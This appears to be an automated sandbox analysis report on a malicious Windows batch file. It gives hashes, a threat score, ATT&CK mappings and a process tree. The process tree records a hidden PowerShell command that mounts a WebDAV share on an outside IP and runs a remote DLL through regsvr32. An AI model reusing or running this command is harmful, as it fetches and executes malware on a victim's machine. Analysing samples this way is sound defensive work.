9d31ff2b7caef000bce6654eb4ecefbecfa8b702875d9d6213bcc7febb7282af

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:39

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General

Target

17782508293165777.bat
Size

2KB
MD5

87c52c504e1a9f354dab6d36ff8252be
SHA1

6d77ce030f5bc821126c7f6480854f531085e344
SHA256

9d31ff2b7caef000bce6654eb4ecefbecfa8b702875d9d6213bcc7febb7282af
SHA512

9061d5101aca857ce4cfa0b3ef0dccbf81222c9e2a0a35c02e171df7304b0c9b90b0d36022540e019674c19018f724684be7403706bf0aee8bfe95d669676f32

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2248	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2248	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2248	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2280	wordpad.exe
2280	wordpad.exe
2280	wordpad.exe
2280	wordpad.exe
2280	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2280	2296	cmd.exe	29
PID 2296 wrote to memory of 2280	2296	cmd.exe	29
PID 2296 wrote to memory of 2280	2296	cmd.exe	29
PID 2296 wrote to memory of 2248	2296	cmd.exe	30
PID 2296 wrote to memory of 2248	2296	cmd.exe	30
PID 2296 wrote to memory of 2248	2296	cmd.exe	30
PID 2248 wrote to memory of 3008	2248	powershell.exe	32
PID 2248 wrote to memory of 3008	2248	powershell.exe	32
PID 2248 wrote to memory of 3008	2248	powershell.exe	32
PID 2248 wrote to memory of 2668	2248	powershell.exe	33
PID 2248 wrote to memory of 2668	2248	powershell.exe	33
PID 2248 wrote to memory of 2668	2248	powershell.exe	33
PID 2248 wrote to memory of 2668	2248	powershell.exe	33
PID 2248 wrote to memory of 2668	2248	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\17782508293165777.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2509618005232.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3008
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2509618005232.dll
    3⤵
    PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2248-24-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2248-23-0x000000001B810000-0x000000001BAF2000-memory.dmp

Filesize
2.9MB

Download